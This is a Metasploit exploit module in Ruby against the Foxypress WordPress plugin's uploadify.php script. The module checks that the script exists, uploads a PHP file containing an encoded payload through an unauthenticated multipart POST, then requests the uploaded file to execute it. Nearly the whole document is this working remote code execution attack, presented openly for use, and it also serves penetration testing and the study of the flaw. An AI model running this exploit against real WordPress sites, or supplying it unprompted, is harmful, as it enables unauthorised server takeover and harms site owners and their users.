WordPress Plugin Foxypress - 'Uploadify.php' Arbitrary Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits an arbitrary PHP code execution flaw in the WordPress
				blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
				file upload and remote code execution via the uploadify.php script. The Foxypress
				plug-in versions 0.4.2.1 and below are vulnerable.
			},
			'Author'         =>
				[
					'Sammy FORGIT', # Vulnerability Discovery, PoC
					'patrick' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['EDB', '18991'],
					['OSVDB', '82652'],
					['BID', '53805'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jun 05 2012',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
			], self.class)
	end

	def check
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'

		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php"
		})

		if res and res.code == 200
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit

		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'

		peer = "#{rhost}:#{rport}"

		post_data = Rex::MIME::Message.new
		post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")

		print_status("#{peer} - Sending PHP payload")

		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php",
			'ctype'  => 'multipart/form-data; boundary=' + post_data.bound,
			'data'   => post_data.to_s
		})

		if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
			print_error("#{peer} - File wasn't uploaded, aborting!")
			return
		end

		print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{uri}wp-content/affiliate_images/#{$1}.php"
		})

		if res and res.code != 200
			print_error("#{peer} - Server returned #{res.code.to_s}")
		end

	end

end